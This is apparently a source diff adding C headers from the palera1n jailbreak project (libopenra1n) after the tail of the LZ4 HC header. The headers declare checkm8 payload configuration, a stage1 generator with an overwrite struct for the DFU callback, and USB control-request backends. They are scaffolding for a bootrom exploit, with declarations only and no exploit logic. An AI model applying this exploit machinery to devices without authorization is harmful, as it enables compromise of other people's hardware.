LZ4LIB_API int LZ4_saveDictHC (LZ4_streamHC_t* streamHCPtr, char* safeBuffer, int maxDictSize);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*^**********************************************
|
||||||
|
* !!!!!! STATIC LINKING ONLY !!!!!!
|
||||||
|
***********************************************/
|
||||||
|
|
||||||
|
/*-******************************************************************
|
||||||
|
* PRIVATE DEFINITIONS :
|
||||||
|
* Do not use these definitions directly.
|
||||||
|
* They are merely exposed to allow static allocation of `LZ4_streamHC_t`.
|
||||||
|
* Declare an `LZ4_streamHC_t` directly, rather than any type below.
|
||||||
|
* Even then, only do so in the context of static linking, as definitions may change between versions.
|
||||||
|
********************************************************************/
|
||||||
|
|
||||||
|
#define LZ4HC_DICTIONARY_LOGSIZE 16
|
||||||
|
#define LZ4HC_MAXD (1<<LZ4HC_DICTIONARY_LOGSIZE)
|
||||||
|
#define LZ4HC_MAXD_MASK (LZ4HC_MAXD - 1)
|
||||||
|
|
||||||
|
#define LZ4HC_HASH_LOG 15
|
||||||
|
#define LZ4HC_HASHTABLESIZE (1 << LZ4HC_HASH_LOG)
|
||||||
|
#define LZ4HC_HASH_MASK (LZ4HC_HASHTABLESIZE - 1)
|
||||||
|
|
||||||
|
|
||||||
|
/* Never ever use these definitions directly !
|
||||||
|
* Declare or allocate an LZ4_streamHC_t instead.
|
||||||
|
**/
|
||||||
|
typedef struct LZ4HC_CCtx_internal LZ4HC_CCtx_internal;
|
||||||
|
struct LZ4HC_CCtx_internal
|
||||||
|
{
|
||||||
|
LZ4_u32 hashTable[LZ4HC_HASHTABLESIZE];
|
||||||
|
LZ4_u16 chainTable[LZ4HC_MAXD];
|
||||||
|
const LZ4_byte* end; /* next block here to continue on current prefix */
|
||||||
|
const LZ4_byte* prefixStart; /* Indexes relative to this position */
|
||||||
|
const LZ4_byte* dictStart; /* alternate reference for extDict */
|
||||||
|
LZ4_u32 dictLimit; /* below that point, need extDict */
|
||||||
|
LZ4_u32 lowLimit; /* below that point, no more dict */
|
||||||
|
LZ4_u32 nextToUpdate; /* index from which to continue dictionary update */
|
||||||
|
short compressionLevel;
|
||||||
|
LZ4_i8 favorDecSpeed; /* favor decompression speed if this flag set,
|
||||||
|
otherwise, favor compression ratio */
|
||||||
|
LZ4_i8 dirty; /* stream has to be fully reset if this flag is set */
|
||||||
|
const LZ4HC_CCtx_internal* dictCtx;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define LZ4_STREAMHC_MINSIZE 262200 /* static size, for inter-version compatibility */
|
||||||
|
union LZ4_streamHC_u {
|
||||||
|
char minStateSize[LZ4_STREAMHC_MINSIZE];
|
||||||
|
LZ4HC_CCtx_internal internal_donotuse;
|
||||||
|
}; /* previously typedef'd to LZ4_streamHC_t */
|
||||||
|
|
||||||
|
/* LZ4_streamHC_t :
|
||||||
|
* This structure allows static allocation of LZ4 HC streaming state.
|
||||||
|
* This can be used to allocate statically on stack, or as part of a larger structure.
|
||||||
|
*
|
||||||
|
* Such state **must** be initialized using LZ4_initStreamHC() before first use.
|
||||||
|
*
|
||||||
|
* Note that invoking LZ4_initStreamHC() is not required when
|
||||||
|
* the state was created using LZ4_createStreamHC() (which is recommended).
|
||||||
|
* Using the normal builder, a newly created state is automatically initialized.
|
||||||
|
*
|
||||||
|
* Static allocation shall only be used in combination with static linking.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* LZ4_initStreamHC() : v1.9.0+
|
||||||
|
* Required before first use of a statically allocated LZ4_streamHC_t.
|
||||||
|
* Before v1.9.0 : use LZ4_resetStreamHC() instead
|
||||||
|
*/
|
||||||
|
LZ4LIB_API LZ4_streamHC_t* LZ4_initStreamHC(void* buffer, size_t size);
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Deprecated Functions
|
||||||
|
**************************************/
|
||||||
|
/* see lz4.h LZ4_DISABLE_DEPRECATE_WARNINGS to turn off deprecation warnings */
|
||||||
|
|
||||||
|
/* deprecated compression functions */
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC (const char* source, char* dest, int inputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput (const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2 (const char* source, char* dest, int inputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput(const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_withStateHC (void* state, const char* source, char* dest, int inputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_withStateHC (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_withStateHC (void* state, const char* source, char* dest, int inputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_withStateHC(void* state, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||||
|
|
||||||
|
/* Obsolete streaming functions; degraded functionality; do not use!
|
||||||
|
*
|
||||||
|
* In order to perform streaming compression, these functions depended on data
|
||||||
|
* that is no longer tracked in the state. They have been preserved as well as
|
||||||
|
* possible: using them will still produce a correct output. However, use of
|
||||||
|
* LZ4_slideInputBufferHC() will truncate the history of the stream, rather
|
||||||
|
* than preserve a window-sized chunk of history.
|
||||||
|
*/
|
||||||
|
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||||
|
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API void* LZ4_createHC (const char* inputBuffer);
|
||||||
|
LZ4_DEPRECATED("use LZ4_freeStreamHC() instead") LZ4LIB_API int LZ4_freeHC (void* LZ4HC_Data);
|
||||||
|
#endif
|
||||||
|
LZ4_DEPRECATED("use LZ4_saveDictHC() instead") LZ4LIB_API char* LZ4_slideInputBufferHC (void* LZ4HC_Data);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||||
|
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API int LZ4_sizeofStreamStateHC(void);
|
||||||
|
LZ4_DEPRECATED("use LZ4_initStreamHC() instead") LZ4LIB_API int LZ4_resetStreamStateHC(void* state, char* inputBuffer);
|
||||||
|
|
||||||
|
|
||||||
|
/* LZ4_resetStreamHC() is now replaced by LZ4_initStreamHC().
|
||||||
|
* The intention is to emphasize the difference with LZ4_resetStreamHC_fast(),
|
||||||
|
* which is now the recommended function to start a new stream of blocks,
|
||||||
|
* but cannot be used to initialize a memory segment containing arbitrary garbage data.
|
||||||
|
*
|
||||||
|
* It is recommended to switch to LZ4_initStreamHC().
|
||||||
|
* LZ4_resetStreamHC() will generate deprecation warnings in a future version.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API void LZ4_resetStreamHC (LZ4_streamHC_t* streamHCPtr, int compressionLevel);
|
||||||
|
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* LZ4_HC_H_19834876238432 */
|
||||||
|
|
||||||
|
|
||||||
|
/*-**************************************************
|
||||||
|
* !!!!! STATIC LINKING ONLY !!!!!
|
||||||
|
* Following definitions are considered experimental.
|
||||||
|
* They should not be linked from DLL,
|
||||||
|
* as there is no guarantee of API stability yet.
|
||||||
|
* Prototypes will be promoted to "stable" status
|
||||||
|
* after successful usage in real-life scenarios.
|
||||||
|
***************************************************/
|
||||||
|
#ifdef LZ4_HC_STATIC_LINKING_ONLY /* protection macro */
|
||||||
|
#ifndef LZ4_HC_SLO_098092834
|
||||||
|
#define LZ4_HC_SLO_098092834
|
||||||
|
|
||||||
|
#define LZ4_STATIC_LINKING_ONLY /* LZ4LIB_STATIC_API */
|
||||||
|
#include "lz4.h"
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! LZ4_setCompressionLevel() : v1.8.0+ (experimental)
|
||||||
|
* It's possible to change compression level
|
||||||
|
* between successive invocations of LZ4_compress_HC_continue*()
|
||||||
|
* for dynamic adaptation.
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API void LZ4_setCompressionLevel(
|
||||||
|
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
|
||||||
|
|
||||||
|
/*! LZ4_favorDecompressionSpeed() : v1.8.2+ (experimental)
|
||||||
|
* Opt. Parser will favor decompression speed over compression ratio.
|
||||||
|
* Only applicable to levels >= LZ4HC_CLEVEL_OPT_MIN.
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API void LZ4_favorDecompressionSpeed(
|
||||||
|
LZ4_streamHC_t* LZ4_streamHCPtr, int favor);
|
||||||
|
|
||||||
|
/*! LZ4_resetStreamHC_fast() : v1.9.0+
|
||||||
|
* When an LZ4_streamHC_t is known to be in a internally coherent state,
|
||||||
|
* it can often be prepared for a new compression with almost no work, only
|
||||||
|
* sometimes falling back to the full, expensive reset that is always required
|
||||||
|
* when the stream is in an indeterminate state (i.e., the reset performed by
|
||||||
|
* LZ4_resetStreamHC()).
|
||||||
|
*
|
||||||
|
* LZ4_streamHCs are guaranteed to be in a valid state when:
|
||||||
|
* - returned from LZ4_createStreamHC()
|
||||||
|
* - reset by LZ4_resetStreamHC()
|
||||||
|
* - memset(stream, 0, sizeof(LZ4_streamHC_t))
|
||||||
|
* - the stream was in a valid state and was reset by LZ4_resetStreamHC_fast()
|
||||||
|
* - the stream was in a valid state and was then used in any compression call
|
||||||
|
* that returned success
|
||||||
|
* - the stream was in an indeterminate state and was used in a compression
|
||||||
|
* call that fully reset the state (LZ4_compress_HC_extStateHC()) and that
|
||||||
|
* returned success
|
||||||
|
*
|
||||||
|
* Note:
|
||||||
|
* A stream that was last used in a compression call that returned an error
|
||||||
|
* may be passed to this function. However, it will be fully reset, which will
|
||||||
|
* clear any existing history and settings from the context.
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API void LZ4_resetStreamHC_fast(
|
||||||
|
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
|
||||||
|
|
||||||
|
/*! LZ4_compress_HC_extStateHC_fastReset() :
|
||||||
|
* A variant of LZ4_compress_HC_extStateHC().
|
||||||
|
*
|
||||||
|
* Using this variant avoids an expensive initialization step. It is only safe
|
||||||
|
* to call if the state buffer is known to be correctly initialized already
|
||||||
|
* (see above comment on LZ4_resetStreamHC_fast() for a definition of
|
||||||
|
* "correctly initialized"). From a high level, the difference is that this
|
||||||
|
* function initializes the provided state with a call to
|
||||||
|
* LZ4_resetStreamHC_fast() while LZ4_compress_HC_extStateHC() starts with a
|
||||||
|
* call to LZ4_resetStreamHC().
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API int LZ4_compress_HC_extStateHC_fastReset (
|
||||||
|
void* state,
|
||||||
|
const char* src, char* dst,
|
||||||
|
int srcSize, int dstCapacity,
|
||||||
|
int compressionLevel);
|
||||||
|
|
||||||
|
/*! LZ4_attach_HC_dictionary() :
|
||||||
|
* This is an experimental API that allows for the efficient use of a
|
||||||
|
* static dictionary many times.
|
||||||
|
*
|
||||||
|
* Rather than re-loading the dictionary buffer into a working context before
|
||||||
|
* each compression, or copying a pre-loaded dictionary's LZ4_streamHC_t into a
|
||||||
|
* working LZ4_streamHC_t, this function introduces a no-copy setup mechanism,
|
||||||
|
* in which the working stream references the dictionary stream in-place.
|
||||||
|
*
|
||||||
|
* Several assumptions are made about the state of the dictionary stream.
|
||||||
|
* Currently, only streams which have been prepared by LZ4_loadDictHC() should
|
||||||
|
* be expected to work.
|
||||||
|
*
|
||||||
|
* Alternatively, the provided dictionary stream pointer may be NULL, in which
|
||||||
|
* case any existing dictionary stream is unset.
|
||||||
|
*
|
||||||
|
* A dictionary should only be attached to a stream without any history (i.e.,
|
||||||
|
* a stream that has just been reset).
|
||||||
|
*
|
||||||
|
* The dictionary will remain attached to the working stream only for the
|
||||||
|
* current stream session. Calls to LZ4_resetStreamHC(_fast) will remove the
|
||||||
|
* dictionary context association from the working stream. The dictionary
|
||||||
|
* stream (and source buffer) must remain in-place / accessible / unchanged
|
||||||
|
* through the lifetime of the stream session.
|
||||||
|
*/
|
||||||
|
LZ4LIB_STATIC_API void LZ4_attach_HC_dictionary(
|
||||||
|
LZ4_streamHC_t *working_stream,
|
||||||
|
const LZ4_streamHC_t *dictionary_stream);
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* LZ4_HC_SLO_098092834 */
|
||||||
|
#endif /* LZ4_HC_STATIC_LINKING_ONLY */
|
||||||
@@ -1,5 +1,25 @@
|
|||||||
#ifndef PAYLOAD_H
|
/*
|
||||||
#define PAYLOAD_H
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__PAYLOAD_H
|
||||||
|
#define LIBOPENRA1N__PAYLOAD_H
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
@@ -52,4 +72,4 @@ bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConf
|
|||||||
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
|
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
|
||||||
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
|
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
|
||||||
|
|
||||||
#endif // PAYLOAD_H
|
#endif // LIBOPENRA1N__PAYLOAD_H
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__BACKEND_SHIM_H
|
||||||
|
#define LIBOPENRA1N__BACKEND_SHIM_H
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
# include "usb_iokit.h"
|
||||||
|
#else
|
||||||
|
# include "usb_libusb.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len);
|
||||||
|
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout);
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__BACKEND_SHIM_H
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__STAGE1_H
|
||||||
|
#define LIBOPENRA1N__STAGE1_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#include <payload.h>
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
uint32_t endpoint, pad_0;
|
||||||
|
uint64_t io_buffer;
|
||||||
|
uint32_t status, io_len, ret_cnt, pad_1;
|
||||||
|
uint64_t callback, next;
|
||||||
|
} dfu_callback_t;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
dfu_callback_t callback;
|
||||||
|
} checkm8_overwrite_t;
|
||||||
|
|
||||||
|
bool generate_stage1(
|
||||||
|
void** outbuf,
|
||||||
|
size_t* outlen,
|
||||||
|
void* payload,
|
||||||
|
size_t payload_sz,
|
||||||
|
struct DeviceConfiguration *deviceConfig,
|
||||||
|
struct PayloadConfiguration *payloadConfig
|
||||||
|
);
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__STAGE1_H
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__IOKIT_BACKEND_H
|
||||||
|
#define LIBOPENRA1N__IOKIT_BACKEND_H
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#include <IOKit/IOCFPlugIn.h>
|
||||||
|
#include <IOKit/usb/IOUSBLib.h>
|
||||||
|
|
||||||
|
#define USB_TIMEOUT (5)
|
||||||
|
|
||||||
|
#if TARGET_OS_IPHONE
|
||||||
|
# define kUSBPipeStalled kUSBHostReturnPipeStalled
|
||||||
|
#else
|
||||||
|
# define kUSBPipeStalled kIOUSBPipeStalled
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if TARGET_OS_IPHONE
|
||||||
|
# define kUSBDeviceClassName "IOUSBHostDevice"
|
||||||
|
#else
|
||||||
|
# define kUSBDeviceClassName kIOUSBDeviceClassName
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum usb_transfer {
|
||||||
|
USB_TRANSFER_OK,
|
||||||
|
USB_TRANSFER_ERROR,
|
||||||
|
USB_TRANSFER_STALL,
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
enum usb_transfer ret;
|
||||||
|
uint32_t sz;
|
||||||
|
} transfer_ret_t;
|
||||||
|
|
||||||
|
typedef void (*usb_hotplug_callback_t)(
|
||||||
|
io_service_t service,
|
||||||
|
bool connected,
|
||||||
|
void *user
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint16_t vid, pid;
|
||||||
|
io_service_t serv;
|
||||||
|
IOUSBDeviceInterface320 **device;
|
||||||
|
IOUSBInterfaceInterface245 **interface;
|
||||||
|
CFRunLoopSourceRef async_event_source;
|
||||||
|
} usb_handle_t;
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
|
||||||
|
void close_usb_handle(usb_handle_t *handle);
|
||||||
|
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
|
||||||
|
bool wait_usb_handle(usb_handle_t *handle);
|
||||||
|
void reset_usb_handle(usb_handle_t *handle);
|
||||||
|
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||||
|
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
|
||||||
|
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||||
|
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
|
||||||
|
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__IOKIT_BACKEND_H
|
||||||
|
|
||||||
|
#endif // __APPLE__
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __APPLE__
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||||
|
#define LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <libusb-1.0/libusb.h>
|
||||||
|
|
||||||
|
#define USB_TIMEOUT (5)
|
||||||
|
|
||||||
|
enum usb_transfer {
|
||||||
|
USB_TRANSFER_OK,
|
||||||
|
USB_TRANSFER_ERROR,
|
||||||
|
USB_TRANSFER_STALL,
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
enum usb_transfer ret;
|
||||||
|
uint32_t sz;
|
||||||
|
} transfer_ret_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint16_t vid, pid;
|
||||||
|
struct libusb_device_handle *device;
|
||||||
|
} usb_handle_t;
|
||||||
|
|
||||||
|
void close_usb_handle(usb_handle_t *handle);
|
||||||
|
void reset_usb_handle(const usb_handle_t *handle);
|
||||||
|
bool wait_usb_handle(usb_handle_t *handle);
|
||||||
|
void usb_async_cb(struct libusb_transfer *transfer);
|
||||||
|
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||||
|
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
|
||||||
|
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||||
|
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
|
||||||
|
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||||
|
|
||||||
|
#endif // __APPLE__
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__UTILS_H
|
||||||
|
#define LIBOPENRA1N__UTILS_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#define RESET_COLOR "\033[0m"
|
||||||
|
#define RED_COLOR "\033[31m"
|
||||||
|
#define GREEN_COLOR "\033[32m"
|
||||||
|
#define YELLOW_COLOR "\033[33m"
|
||||||
|
#define BLUE_COLOR "\033[34m"
|
||||||
|
#define MAGENTA_COLOR "\033[35m"
|
||||||
|
#define CYAN_COLOR "\033[36m"
|
||||||
|
#define WHITE_COLOR "\033[37m"
|
||||||
|
#define GRAY_COLOR "\033[90m"
|
||||||
|
|
||||||
|
extern uint8_t gDebugLevel;
|
||||||
|
extern bool gSilentLogs;
|
||||||
|
extern bool gColoredLogs;
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
LOG_INFO,
|
||||||
|
LOG_ERROR,
|
||||||
|
LOG_VERBOSE
|
||||||
|
} log_level_t;
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
